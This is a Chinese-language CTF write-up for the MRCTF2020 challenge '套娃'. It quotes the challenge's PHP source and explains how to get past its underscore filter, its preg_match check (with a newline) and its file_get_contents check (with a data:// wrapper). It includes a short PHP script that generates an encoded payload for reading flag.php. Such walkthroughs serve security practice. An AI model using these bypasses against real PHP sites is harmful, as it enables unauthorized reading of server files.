Skip to content

Latest commit

 

History

History
100 lines (70 loc) · 2.02 KB

[MRCTF2020]套娃.md

File metadata and controls

100 lines (70 loc) · 2.02 KB

[MRCTF2020]套娃

知识点

_传参

php之data伪协议

preg_match多行绕过

解题

首先进入题目,在查看源码时发现

alt text

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

第一个条件过滤了_%5f(下划线的url编码),我们可以通过b.u.p.tb u p t来传参

第二个条件绕过preg_match,之前payload也曾写过,通过多行匹配绕过即可

alt text

进入secrettw.php后,在源码发现jsfuck编码

alt text

解码后为

alt text

postMerak之后显示了文件源码

alt text

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

在读取文件时转换了每个字符,编写代码生成payload

<?php


function change($v){ 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}

$res = change('flag.php');
echo base64_encode($res);

如下图传参即可 alt text

在源码查看到flag

alt text